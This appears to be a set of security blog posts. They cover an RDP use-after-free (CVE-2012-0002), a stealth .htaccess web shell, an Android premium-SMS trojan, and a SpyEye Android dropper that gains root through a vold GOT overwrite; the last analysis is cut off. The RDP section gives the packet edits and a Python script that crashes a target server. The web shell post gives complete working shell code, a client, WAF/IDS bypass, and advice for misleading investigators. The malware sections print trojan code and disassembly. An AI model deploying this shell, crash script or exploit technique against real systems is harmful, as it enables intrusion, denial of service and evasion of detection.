    .text:0002F92F push eax ; release the pool
    .text:0002F930 call WDLIBRT_MemFree
    .text:0002F935 quit:
    .text:0002F935 mov al, 1

    As seen in the update, the original code "forgets" to call WDLIBRT_MemFree() function, which is merely a wrapper around ExFreePoolWithTag() - a function that deallocates a block of pool memory:

    .text:00013BA0 WDLIBRT_MemFree proc near ; wrapper for ExFreePoolWithTag()
    .text:00013BA0
    .text:00013BA0 P = dword ptr 8
    .text:00013BA0
    .text:00013BA0 mov edi, edi
    .text:00013BA2 push ebp
    .text:00013BA3 mov ebp, esp
    .text:00013BA5 push 0 ; Tag is NULL
    .text:00013BA7 push [ebp+P] ; P - pool pointer, passed as an argument
    .text:00013BAA call ds:ExFreePoolWithTag
    .text:00013BB0 pop ebp
    .text:00013BB1 retn 4
    .text:00013BB1 WDLIBRT_MemFree endp

    But how dangerous is the fact that the original code missed the pool memory release? More importantly, if it's admitted to be a bug (hence, the update), can that bug be exploited?

    As it happens, it can. The reported vulnerability (CVE-2012-0002) is attributed by Microsoft to Luigi Auriemma.

    Luigi has published an example of a packet that crashes a vulnerable server that runs Remote Desktop Services on TCP port 3389.

    To see how a typical packet looks like, take a look at the following example from Microsoft:



    Armed with the annotated field descriptions in the packet dump, let's modify this packet the following way:

    1. One of the first inconsistencies to fix is to patch a byte at the offset 0x158 with 0.

    Indeed, the description states that this field contains 0x00000000 that corresponds to TS_UD_CS_CORE::serverSelectedProtocol.

    2. Next, prepend the following bytes to the packet:

    03000013 0E E0 0000 0000 00 01 00 0800 00000000

    These bytes will encode an RDP connection request:

    • TPKT Header (length = 19 bytes):
      03 -> TPKT: TPKT version = 3
      00 -> TPKT: Reserved = 0
      00 -> TPKT: Packet length - high part
      13 -> TPKT: Packet length - low part (total = 19 bytes)


    • X.224 Data TPDU:
      0E -> X.224: Length indicator = (14 bytes)
      E0 -> X.224: Type = 0xE0 = Connection Confirm
      00 00 -> X.224: Destination reference = 0
      00 00 -> X.224: Source reference = 0
      00 -> X.224: Class and options = 0
      01 -> RDP Negotiation Message (TYPE_RDP_NEG_REQ)
      00 -> flags (0)
      08 00 -> RDP_NEG_REQ length (8 bytes)
      00 00 00 00 -> RDP_NEG_REQ: Selected protocols (PROTOCOL_RDP)


    3. Next, attach user request PDU:

    03000008 02f08028

    03 00 00 08 -> TPKT Header (length = 8 bytes)
    02 f0 80 -> X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
    28 -> PER encoded PDU contents (select attachUserRequest)

    4. Find the Connect-Initial::targetParameters header in the packet: 30 19
    30 -> ASN.1 BER encoded SequenceOf type.
    19 -> length of the sequence data (25 bytes)

    The header is followed with DomainParameters::maxChannelIds field: 02 01 22
    02 -> ASN.1 BER encoded Integer type
    01 -> length of the integer (1 byte)
    22 -> actual value is 34 (0x22)

    Replace the old value of maxChannelIds (0x22) with 0 - this byte is located at the packet offset of 0x2C.

    The final packet dump will look as shown below (selections in yellow reflect the aforementioned changes 1-4):



    All these modifications of the packet are perfectly legitimate, excepting one: setting maxChannelIds value of the targetParameters to 0. That's probably the only "evil" byte in the whole packet. Can there be a signature reliably constructed to catch such packet (a rhetorical question)?

    Given the flexibility of BER format (you can BER-encode 0 as 02 01 00, or 02 02 0000, or 02 04 00000000 - that is, using 1, 2, or 4 bytes), is there a reasonably small number of combinations that can potentially assemble a malformed packet with the "evil" byte in it, a number so small that it can be covered with the signatures (another rhetorical question)?

    Saving the packet dump into packet.bin and running the Python script below will cause BSoD for the target server at %TARGET_IP_ADDRESS%:

    import socket
    f = open('packet.bin', 'r')
    packet = f.read()
    f.close
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("%TARGET_IP_ADDRESS%", 3389))
    s.send(packet)
    data = s.recv(4096)



    The crush dump can then be loaded into WinDbg debugger to locate the place of the exception. As seen in the crush dump, the error happens in the following instruction that belongs to the function termdd!IcaBufferAllocEx:

    8d02c987        mov   eax,dword ptr [esi+18h]

    The instruction at the address 0x8d02c987 attempts to read a pointer (the next instruction references a DWORD pointed by it, and compares its value with 0) from the address 0x0a400620:

    termdd!IcaBufferAllocEx:
    8d02c96c mov edi,edi
    8d02c96e push ebp
    8d02c96f mov ebp,esp
    8d02c971 push ecx
    8d02c972 cmp dword ptr [ebp+14h],19h
    8d02c976 push esi
    8d02c977 push edi
    8d02c978 mov edi,dword ptr [ebp+8]
    8d02c97b sete al
    8d02c97e mov byte ptr [ebp-4],al
    8d02c981 lea eax,[edi-14h]
    8d02c984 push eax
    8d02c985 jmp termdd!IcaBufferAllocEx+0x24
    8d02c987 mov eax,dword ptr [esi+18h] ds:0023:0a400620=???????? ; <- ERROR !!!
    8d02c98a cmp dword ptr [eax],0
    8d02c98d jne termdd!IcaBufferAllocEx+0x4a
    8d02c98f push esi
    8d02c990 call termdd!IcaGetPreviousSdLink
    8d02c995 mov esi,eax
    8d02c997 test esi,esi
    8d02c999 jne termdd!IcaBufferAllocEx+0x1b
    8d02c99b push dword ptr [ebp+1Ch]
    8d02c99e push dword ptr [ebp+18h]
    8d02c9a1 push dword ptr [ebp+14h]
    8d02c9a4 push dword ptr [ebp+10h]
    8d02c9a7 push dword ptr [ebp+0Ch]
    8d02c9aa push edi
    8d02c9ab call termdd!IcaBufferAllocInternal
    8d02c9b0 pop edi
    8d02c9b1 pop esi
    8d02c9b2 leave
    8d02c9b3 ret 18h

    The call stack reveals that the IcaBufferAllocEx() function within termdd.sys is called from RdpWD.sys driver and can be traced back to its NM_Disconnect() call:

    termdd!IcaBufferAllocEx+0x1b
    RDPWD!WDICART_IcaBufferAllocEx+0x24
    RDPWD!StackBufferAllocEx+0x5c
    RDPWD!MCSDetachUserRequest+0x29
    RDPWD!NMDetachUserReq+0x14
    RDPWD!NM_Disconnect+0x16
    RDPWD!SM_Disconnect+0x27
    RDPWD!SM_OnConnected+0x70
    RDPWD!NMAbortConnect+0x23
    RDPWD!NM_Connect+0x68
    RDPWD!SM_Connect+0x11d
    RDPWD!WDWConnect+0x557
    RDPWD!WDLIB_TShareConfConnect+0xa0
    RDPWD!WDSYS_Ioctl+0x6c9
    termdd!_IcaCallSd+0x37
    termdd!_IcaCallStack+0x57
    termdd!IcaDeviceControlStack+0x466
    termdd!IcaDeviceControl+0x59
    termdd!IcaDispatch+0x13f
    nt!IofCallDriver+0x63
    nt!IopSynchronousServiceTail+0x1f8
    nt!IopXxxControlFile+0x6aa
    nt!NtDeviceIoControlFile+0x2a
    nt!KiFastCallEntry+0x12a

    As first reported by Luigi Auriemma, the use-after-free vulnerability is located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet when set to a value less or equal to 5. That field was patched in the example above with 0.

    According to Luigi, the problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc.

    The exploit is currently at the DoS (denial-of-service) stage of its evolution. This is bad enough, considering how many web sites are managed remotely via RDP and thus, could potentially be knocked down with a single packet of 443 bytes submitted by an attacker.

    Unless someone has a crystal ball, it's hard to predict if this bug will ever evolve into a much more thrilling "remote code execution" stage - only time will tell that.
  • Writing a Stealth Web Shell

    Bae Systems Detica
    Cross-posted from Just Another Hacker.  Author:  Eldar Marcussen, stratsec Melbourne.

    People keep referring to the htshells project as stealth!?!?!?!? They are very unstealthy, leaving plenty of evidence in the logs, but it did get me thinking, what would a .htaccess stealth shell look like? In order to claim the status of "stealth" the shell would have to meet the following requirements:

    • No bad function calls

    • Hidden file

    • Hidden payload

    • Hidden url

    • WAF/IDS bypass

    • Limited forensic evidence


    Looks like a small list, shouldn't be too hard....

    No bad function calls

    The shell should not contain any bad function calls such as eval, passthru, exec, system, `` or similar operators. This is to avoid detection from scanners such as anti vrus or static analysis tools. We have a few options here, such as using a variable variable to dynamically assign the function to call,  or we could go with the non alpha php shell. I did however choose to go with a feature that relies on common methods and AFAIK not many scanners pick up on variable function calls.

    Hidden file

    I already solved this with my htshells project. Having your shell in a dot file keeps it hidden on linux. If you cannot upload a .htaccess file however I would aim to hide in plain sight with a index.php file instead.

    Hidden payload

    In order to keep the payload out of the url we'll provide it outside of the request URI and request body. A cookie is a common place to store the payload, but I decided to use a non cookie header. Just to be safe, in case someone decides to log cookies.

    Hidden url

    Luckily the htaccess file also offers us an option to hide the url of our web shell using mod_rewrite. This allows us to invoke the shell through a different url.

    WAF/IDS bypass

    By applying common encoding we can ensure that plaintext rules don't match our payload and make parsing the request expensive enough to ensure that realtime decoding isn't feasible. For the extra paranoid, encoding in combination with basic obfuscation will stop detection by IDS which can offload the offline decoding to an agent. I chose plain base64_encoding, and padded it with some bytes to make automated parsing fail.

    Limited forensic evidence

    This is where most shells fails, most web scripts use request parameters for command input. This is great on penetration tests as it offers transparency to the client, but it's not very stealthy. I'll start by illustrating a log segment for favicon requests.

    # grep favicon.ico /var/log/apache2/access.log
    78.84.166.152 - - [20/Apr/2011:09:46:30 +0400] "HEAD /favicon.ico HTTP/1.0" 200 - "-" "-"
    76.120.74.98 - - [20/Apr/2011:09:52:27 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
    76.120.74.98 - - [20/Apr/2011:10:07:29 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
    192.168.24.122 - - [20/Apr/2011:10:32:31 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"

    As you can see from the example, the log records the IP of the client making the request, the (server) time of the request, the request method and url, response code, response size, referrer and user-agent. Normally the htshell would be a dead giveaway:
    127.0.0.1 - - [23/Jan/2012:11:47:32 +1100] "GET /.htaccess?c=uname -a HTTP/1.1" 200 617 "-" "Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"

    It is clear that the url accessed was .htaccess,and it responded with a 200 OK response code instead fo the usual 403, it is also evident what command was run. In order to keep the shell from leaving forensic evidence, we will disguise the request to the shell as a normal 200 OK or a 404 response to a seemingly normal file using the hidden url and hidden payload.

    Now for the actual implementation, using php for the programming language:

    • No bad function calls

    Invoking function names by string FTW! $e = str_replace('y','e','yxyc'); $e($cmd) will call exec on $cmd.

    • Hidden file

    the shell is .htaccess, as hidden as it gets.

    • Hidden payload

    Receive the payload via the X-ETAG header, which is accessible via: $_SERVER['HTTP_X_ETAG'] and send the response via the same header. This requires output buffering to be enabled otherwise PHP will complain about headers being sent after output has started. Luckily this is not an admin flag and can be set from within the .htaccess file itself using: php_value output_buffering 1.

    • Hidden url

    Rewrite supposed url to the .htaccess file if X-ETAG request header is set:

    RewriteEngine on
    RewriteCond %{HTTP:X-ETAG} !^$
    RewriteRule .* .htaccess [L]

    This allows us to make requests to existing files, and gettting the shell if the X-ETAG header is set.

    • WAF/IDS bypass

    By padding the base64 encoding with two bytes automated base64 decoding attempts will fail with a length check error.
    base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))

    • Limited forensic evidence

    By generating output PHP will set the response code to 200 OK, although a header() call can easily be used to make it something else. Thanks to the output buffering the content of the .htaccess file can be discarded and the response size can be set to a known value. I'm using print str_repeat("A", 9326); to match the size of my favicon which can be seen in the first log snippet.

    This all combines to the following file:

    # Self contained .htaccess stealth web shell - Part of the htshell project
    # Written by Wireghoul - http://www.justanotherhacker.com

    # Override default deny rule to make .htaccess file accessible over web

    Order allow,deny
    Allow from all


    # Make .htaccess file be interpreted as php file. This occur after apache has interpreted
    # the apache directoves from the .htaccess file
    AddType application/x-httpd-php .htaccess

    # Enable output buffering so we can fudge content length in logs
    php_value output_buffering 1

    # Rewrite supposed url to the .htaccess file if X-ETAG request header is set
    RewriteEngine on
    RewriteCond %{HTTP:X-ETAG} !^$
    RewriteRule .* .htaccess [L]

    # SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>

    Unfortunately the WAF/IDS bypass makes it somewhat unfriendly to use with traditional HTTP clients, so I wrote a perl based client:
    #!/usr/bin/perl
    # Interface for the mod_php htaccess stealth shell
    # Written by Wireghoul - http://www.justanotherhacker.com

    use warnings;
    use strict;
    use MIME::Base64;
    use LWP::UserAgent;

    &usage unless $ARGV[0];
    my $url = $ARGV[0];
    pop(@ARGV); #keep readline happy
    my $ua = LWP::UserAgent->new;
    $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16');

    sub usage {
    print "Usage: $0 url\nExample: $0 http://vuln.com/upload/favicon.ico\n";
    exit 2;
    }

    my $cmd = '';
    print "Connecting to shell at $url - type 'exit' to exit";
    until ($cmd eq 'exit') {
    print "\nshell> ";
    $cmd = readline;
    chomp $cmd;
    my $payload = 'AA'.encode_base64($cmd);
    my $response = $ua->get( $url, 'X-ETAG' => $payload);
    if ($response->header('X-ETAG')) {
    print decode_base64(substr($response->header('X-ETAG'),2));
    } else {
    print "Error! No payload in response!\n";
    }
    }

    A quick demo:

    # GET http://localhost/favicon.ico | head -1
    ________________________________________
    h6 ?@@(F(
    # ./stsh.pl http://localhost/favicon.ico
    Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit
    shell> uname -a
    Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
    shell> id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell> exit
    # tail -3 /var/log/apache2/access.log
    127.0.0.1 - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
    127.0.0.1 - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
    127.0.0.1 - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"

    Notice there is nothing indicating any difference between the first request (normal request to the actual file) and the two shell commands.

    Some parting notes:

    • Large response bodies can cause the header to exceed the maximum size defined when compiling Apache (default 8190), the best way to get around this is to store the command output in the session and return it one chunk at a time.

    • Divert the investigator by presenting a likely scenario, if there is an existing file, such as a picture. Hotlink the image from a public forum and use the forum url as referrer value and use a known aggressive crawler as the user agent.

    • Rewrite the shell to use different values than the X-ETAG, etc used in the demo script for better WAF bypass.

    • I guess it's OK to call the htshells project stealth now?

    • Systems that log response length as headers and response body will show varying content length for the shell requests, this is not the default apache behaviour and requires additional modules to be enabled.

  • Conventional Malware Techniques Spread into Mobile

    Bae Systems Detica
    It’s quite interesting to witness how the years of malware evolution are coming into the present mobile malware scene. Android mobile malware in particular adopts conventional malware techniques at a disturbingly fast pace.

    We have already encountered an IRC bot functionality incorporated into Android malware and built by using low-level native code. Exploit techniques and high-level Java code obfuscation are not a big surprise either. Another day introduces another milestone – such as a newly discovered strain that now relies on server-based polymorphism. In a nutshell, every download attempt will fetch a malware that will look different to the mobile anti-malware platform (while staying the same malware by functionality), hence making its hash database useless.

    As of today, any mobile anti-malware platform that solely relies on a hash-based malware detection technique can already be considered obsolete. Today, conventional signature-based scanners will still do the job, but only just. Tomorrow, they will have to be able not only scan malicious code, but also emulate it (native ARM CPU instruction set plus Android OS API level) as it will only be a matter of time until the run-time compression and code obfuscation techniques emerge on the mobile malware front.

    But let’s get back to our mutton.

    Today’s discovery presents a new trojan that appears to be mass-generated on the server side (strictly speaking, not a server-based polymorphism, but one step away from it, considering how easy it is to shuffle the code, then recompile/reassemble it into the new APK files right from the server-based code).

    The trojan disguises itself under a popular legitimate application – Opera browser.










    As with most of the malware nowadays, it is driven with the "show me the money" motivation, and thus, it still plays the same dumb, but surprisingly resilient trick by sending SMS messages to the premium phone numbers. Nothing fancy apart from the obfuscated Java code:

    SmsManager localSmsManager = SmsManager.getDefault();
    String str1 = "fiquaziuhaivi<v;esh(emeit_iamaijoiyaip...";
    String str2 = str1 + "uzashueneifiepoobiphiezoufooy?a...";
    String str3 = this.eb3hlgO.eb3hlgO;
    String str4 = str1 + "wohbo/oteebainieheedei]d&ohjuo)...";
    String str5 = this.eb3hlgO.O9Tn;
    PendingIntent localPendingIntent1 = null;
    PendingIntent localPendingIntent2 = null;
    localSmsManager.sendTextMessage(str3,
    null,
    str5,
    localPendingIntent1,
    localPendingIntent2);

    Social engineering is cruel (as always): on its fake web site, the trojan warns the users about the cases of the fraudulent usage of its platform, just like legitimate companies are trying to fence themselves off with the security advisories whenever the fraudsters are trying to piggy-back on their brand name/reputation.

    Fraudsters' site: "Beware of the fraudulent usage of the Opera browser on mobile phones!"

  • The Butterfly Effect of a Boundary Check

    Bae Systems Detica
    In chaos theory, a hurricane formation might be contingent on whether or not a distant butterfly had flapped its wings. In the digital world, one might wonder how a source code update with a boundary check added can invoke an online bank robbery. Well, here is the story.

    The SpyEye banking trojan with the incorporated features of ZeuS (via the source code acquisition) has been making rounds for a while now. While its form-grabbing, code-injection, keylogging capabilities are well studied, it still keeps evolving and adopting itself to the new realities, to the new security measures that the banks are putting in place. It adapts due to the need to survive in an environment that is becoming more and more hostile for it.

    In a nutshell, SpyEye, as well as ZeuS, is a banking trojan that is designed to intercept (steal) the authentication details, deliver them to a remote server where these details are collected, stored, and then wrapped up and resold on the underground markets. Someone eventually acquires the SpyEye/Zeus logs and then parses the compromised account details, one-by-one. For every online banking account, the attacker will try to log on by using anonymous proxies or other compromised systems in order to stay out of sight, and then wire the funds to so-called "drop" accounts (temporary accounts created for a short period of time to launder the stolen funds).

    In some way, this multi-stage bank robbery model has become conventional for SpyEye/ZeuS. Nevertheless, it is easily disrupted with the two-factor authentication schemes that are becoming more and more popular in online banking. In one particular scenario, whenever a customer is willing to transfer the money to a newly added beneficiary, the bank will generate a temporary password, and then send that password to the customer's mobile phone in the form of an SMS message. The customer reads the message, fills out the online form field with the received password, and then clicks Next.

    Done. Transaction is authorised.

    In case of a compromised account, the remote attacker will possess the login credentials and thus, would be able to log on, view the infected victim's balance, the history of the recent transactions, and even pay the bills on behalf of existing beneficiaries that were authorised previously. However, the remote attacker would be unable to initiate a bogus transaction on behalf of a newly added "drop" account, as that attempt would require two-factor authentication. Without having access to the password contained in the SMS message, any bogus transaction from a compromised account would essentially be blocked.

    Logically, this issue makes the attacker be willing to put his hands onto the password received via SMS as soon as possible - while it's still valid. Even better, highjack it so that it never reaches the victim. Otherwise, the received SMS may alert the owner of the compromised account. In order to highjack it, the attacker would need to compromise the customer's phone as well.

    As reported by S21sec, the new SpyEye campaign that targets Spanish banks realises the aforementioned attack scenario. Upon trying to visit an online banking site, the compromised user will face a bogus web page that will offer to install an application for the mobile phone - in order to "secure communications", that is.

    As you may have guessed, the suggested mobile app is malicious - let's analyse the application offered for Android platform. While the password interception mechanism contained within SMS is not new (ZeuS does it for several months now), let's inspect what other tricks are hidden up the SpyEye's sleeve.


    Why Android?

    As stated by Nielsen, in 2011 Q3 the smartphone ownership has reached 43% of all U.S. mobile subscribers. According to Gartner, Android platform composes now 43% of all smartphone sales in 2011 Q2. That roughly means that every fifth online banking customer who relies on SMS-based two-factor authentication scheme will own an Android device (97% of them still running Android Gingerbread, Froyo, and below). For the attacker, it means that the malicious Android app has fairly good odds. In fact, considering iPhone's tight security ecosystem, Android provides the best odds for the attacker and thus, the highest return-on-investment ratio for developing and deploying an Android app that could do such thing.


    The dropper "Madden NFL 12"

    Malicious Android app suggested by a bogus web page may disguise itself under a security application. In one reported case however, the malicious Android app is called "Madden NFL 12" - a trojan that disguises itself under the popular American football video game.



    The package name is com.android.bot - no hiding here, an honest self-assessment of being a bot.

    Once invoked, its main activity AndroidBotActivity will perform the following actions:

    • Create directory /data/data/com.android.bot/files with the read/write/execute rights for all

    • Extract 3 files from its own assets and drop them as:


      • /data/data/com.android.bot/files/header01.png (ELF executable)

      • /data/data/com.android.bot/files/footer01.png (ELF executable)

      • /data/data/com.android.bot/files/border01.png (Android app - an APK file)


    • Run the first executable header01.png

    • Show up a "toast" message:
      (0x14) Error - Not registred application.


    These steps are seen in the reconstructed source code of the trojan:

    ShellCommand.CommandResult localCommandResult1 = localShellCommand.sh.runWaitFor("mkdir /data/data/com.android.bot/files && chmod 777 /data/data/com.android.bot/files/");
    boolean bool1 = new File("/data/data/com.android.bot/files/footer01.png").delete();
    boolean bool2 = new File("/data/data/com.android.bot/files/header01.png").delete();
    boolean bool3 = new File("/data/data/com.android.bot/files/border01.png").delete();
    boolean bool4 = new File("/data/data/com.android.bot/files/boomsh").delete();
    boolean bool5 = new File("/data/data/com.android.bot/files/crashlog").delete();
    boolean bool6 = new File("/data/data/com.android.bot/files/rooted").delete();
    ExtractAsset("header01.png", "/data/data/com.android.bot/files/header01.png");
    ExtractAsset("footer01.png", "/data/data/com.android.bot/files/footer01.png");
    ExtractAsset("border01.png", "/data/data/com.android.bot/files/border01.png");
    ShellCommand.CommandResult localCommandResult2 = localShellCommand.sh.runWaitFor("chmod 777 /data/data/com.android.bot/files/header01.png");
    ShellCommand.CommandResult localCommandResult3 = localShellCommand.sh.runWaitFor("/data/data/com.android.bot/files/header01.png");
    Toast.makeText(getApplicationContext(), "(0x14) Error - Not registred application.", 0).show();

    ELF executable header01.png

    Despite the extension name, header01.png file is an ELF executable compiled for ARM CPU. Hopefully, IDA Pro disassembler handles it quite perfectly.

    This executable relies on an exploit within Android's vold (volume daemon) - a program that automatically mounts CD-Roms, USB-Memory Sticks, and other removable media.

    Being an open platform, Android's source code and its modifications are fully transparent.

    On April 19, 2011, the DirectVolume.cpp (one of the vold's source files) was updated with an extra boundary check added for mPartMinors[].

    Updates like this inevitably draw attention - the part_num > MAX_PARTITIONS boundary check was already present in the code, the only added boundary check this time was part_num < 1.

    What is part_num, how it was used in the code before the update, and why the extra check was added?

    part_num is an integer variable that is obtained from the string parameter PARTN passed within the Netlink event message - an argument for the handlePartitionAdded() function, as shown below in the vold's source file DirectVolume.cpp:

    void DirectVolume::handlePartitionAdded(const char *devpath,
    NetlinkEvent *evt)
    {
    ...
    // obtain "MINOR" parameter from the event message, assign to int minor
    int minor = atoi(evt->findParam("MINOR"));
    ...
    int part_num;

    // obtain "PARTN" string parameter from the event message
    const char *tmp = evt->findParam("PARTN");
    if (tmp)
    {
    // convert it to int, assign to part_num
    part_num = atoi(tmp);
    }
    else
    {
    SLOGW("Kernel block uevent missing 'PARTN'");
    part_num = 1;
    }
    ...
    // make sure part_num does not exceed the maximum limit
    if (part_num >= MAX_PARTITIONS)
    {
    SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n",
    part_num,
    MAX_PARTITIONS-1);
    }
    else
    {
    // use part_num as an index to referenece mPartMinors[],
    // store there the value of minor
    mPartMinors[part_num -1] = minor;
    }
    ...
    }

    The only boundary check in the code above is part_num >= MAX_PARTITIONS. Next, part_num is used to reference an element of the array mPartMinors[]. That is, the code assumes that part_num is always more than or equal to 1. However, in case of a negative value passed for the PARTN parameter, the code will reference the memory located below the mPartMinors[] base pointer - that referenced memory (whatever is stored at that location) will be overwritten with the value contained in the variable minor - that value is also passed with the Netlink event message, only by using a different parameter - MINOR.

    By specifying a negative index value for the mPartMinors[] array, it is possible for the attacker to reference and overwrite the memory that belongs to the GOT (Global Offset Table) within the image of the vold executable. The GOT table stores offsets of the imported APIs - such as strcmp(), atoi() and other APIs that vold executable imports from other libraries such as libm.so, libc.so, libcrypto.so. After patching one of those offsets with an offset of an API function system() imported from the C library libc.so, vold executable would now call system() API instead of the intended one. If the parameter passed to the patched API was a malicious executable file path, vold would call system("path_to_malicious_executable") API, effectively launching an external executable with the same root privileges as the vold process itself.

    This "theoretical" possibility materialised pretty quickly. The DirectVolume.cpp update was noticed by Sebastian Krahmer, Swiss researcher, who published the proof-of-concept code at his blog two days later, on April 21, 2011.

    As it always happened before, it was now a matter of time until the published exploit was incorporated into the malware.

    The aforementioned function handlePartitionAdded() is only invoked within vold process whenever a hotplug event occurs (such as connection/disconnection of CD-ROM, USB-Memory Sticks, and other removable media). When that happens, the netlink daemon that listens to the netlink socket (this socket is used as a communication between the kernel and user space) receives a packet of data for such event. The transferred data represents itself a set of null terminated text lines where every line contains a PARAMETER=VALUE pair defining a hotplug event parameters. For a normal hotplug event, the message parameters are always valid and PARTN is always 1 or more. However, the malicious process header01.png opens up the netlink socket and sends there the malformed event messages directly in order to fake the hotplug events.

    The malformed netlink event messages sent by header01.png via the netlink socket will invoke the vold's handlePartitionAdded() function above. The trojan has to construct a netlink event (NetlinkEvent *evt) message with the malformed parameters PARTN (this must be a negative number that references vold's GOT offsets) and MINOR (this parameter must contain the offset of the API system()). The PARTN and MINOR values have to be calculated dynamically with a 100% precision. The trojan does that in the following steps.

    It opens up the file /proc/net/netlink and reads the contents of that file:

    .text:00009A1C LDR R3, =(aNetlink - _GLOBAL_OFFSET_TABLE_) ; "/proc/net/netlink"
    .text:00009A20 LDR R2, [R11,#var_828]
    .text:00009A24 ADD R3, R2, R3
    .text:00009A28 MOV R0, R3 ; filename
    .text:00009A2C LDR R3, =(aR - _GLOBAL_OFFSET_TABLE_) ; "r"
    .text:00009A30 LDR R1, [R11,#var_828]
    .text:00009A34 ADD R3, R1, R3
    .text:00009A38 MOV R1, R3
    .text:00009A3C BL fopen ; open "netlink" for read

    The contents of /proc/net/netlink file enlists running processes, e.g. its content might look like:

    sk Eth Pid Groups Rmem Wmem Dump Locks
    c4cc6800 15 69 ffffffff 0 0 (null) 2
    c5979a00 15 26 ffffffff 0 0 (null) 2
    c5b99e00 15 29 ffffffff 0 0 (null) 2

    The process list does not contain process names - only process IDs specified in the 3rd column (Pid). So the trojan parses every line and retrieves the 3rd parameter - the process ID.

    For every process ID %PID%, it constructs a string /proc/%PID%/cmdline.

    It opens and reads a file with a name that is the string above - this will return the process name; for example, reading a file /proc/29/cmdline might return /system/bin/netd string - this string is a process name for the process with the ID of 29:

    .text:00009B7C LDR R3, =(aCmdline - _GLOBAL_OFFSET_TABLE_) ; "/proc/%d/cmdline"
    .text:00009B80 LDR R2, [R11,#var_828]
    .text:00009B84 ADD R3, R2, R3
    .text:00009B88 MOV R1, R3 ; format
    .text:00009B8C LDR R2, [R11,#var_818]
    .text:00009B90 BL sprintf ; construct string "/proc/%PID%/cmdline"
    .text:00009B94 SUB R3, R11, #-var_800
    .text:00009B98 SUB R3, R3, #0xC
    .text:00009B9C SUB R3, R3, #4
    .text:00009BA0 MOV R0, R3 ; file
    .text:00009BA4 MOV R1, #0 ; oflag
    .text:00009BA8 BL open ; open file "/proc/%PID%/cmdline"

    Next it checks if the returned string (the name of the process) is /system/bin/vold:

    .text:00009C14 LDR R3, =(aSystemBinVold - _GLOBAL_OFFSET_TABLE_) ; "/system/bin/vold"
    .text:00009C18 LDR R1, [R11,#var_828]
    .text:00009C1C ADD R3, R1, R3
    .text:00009C20 MOV R1, R3
    .text:00009C24 BL strstr ; compare the returned string with "/system/bin/vold"

    Once the process name /system/bin/vold is found, the process ID of vold daemon will now be known.

    The code locates the offset of the system() API by opening the libc.so library with dlopen(), then obtaining the offset with dlsym(). This is similar to LoadLibrary(), GetProcAddress() call sequence used in x86 malware.

    .text:00009260 LDR R3, =(aLibcSo - _GLOBAL_OFFSET_TABLE_) ; "/system/libc/libc.so"
    .text:00009264 LDR R2, [R11,#var_1C]
    .text:00009268 ADD R3, R2, R3
    .text:0000926C MOV R0, R3 ; file
    .text:00009270 MOV R1, #0 ; mode
    .text:00009274 BL dlopen ; open the library "/system/libc/libc.so"
    .text:00009278 MOV R3, R0
    .text:0000927C STR R3, [R11,#handle]
    .text:00009280 LDR R3, [R11,#handle]
    .text:00009284 CMP R3, #0
    .text:00009288 BNE libc_handle_ok
    .text:0000928C LDR R3, =(aDlopen - _GLOBAL_OFFSET_TABLE_) ; "[-] dlopen"
    .text:00009290 LDR R2, [R11,#var_1C]
    .text:00009294 ADD R3, R2, R3
    .text:00009298 MOV R0, R3
    .text:0000929C BL die ; libc handle is 0 - quit
    .text:000092A0 libc_handle_ok:
    .text:000092A0 LDR R0, [R11,#handle] ; load handle
    .text:000092A4 LDR R1, [R11,#name] ; load symbol name (passed as a parameter)
    .text:000092A8 BL dlsym ; obtain the address of the symbol ("system")

    Next, the trojan opens up the file /system/bin/vold and parses its ELF structure to retrieve the start and the end of the vold's GOT table.

    Following that, it lookups the names of the mounted devices by parsing vold's fstab file - a system configuration that enlists all available disks and disk partitions. This configuration resides either in /etc/vold.fstab or system/etc/vold.fstab. For example, the contents of this file might look like:

    ## Format: dev_mount <label> <mount_point> <part> <sysfs_path1...>
    ## label - Label for the volume
    ## mount_point - Where the volume will be mounted
    ## part - Partition # (1 based), or 'auto' for first usable partition.
    ## <sysfs_path> - List of sysfs paths to source devices
    dev_mount sdcard /mnt/sdcard auto /devices/platform/msm_sdcc.2/mmc_host/mmc1

    In the above case, the trojan will retrieve the device path /devices/platform/msm_sdcc.2/mmc_host/mmc1, or it will use that path as a default one if it fails to find any specified devices.


    Attacking GOT table

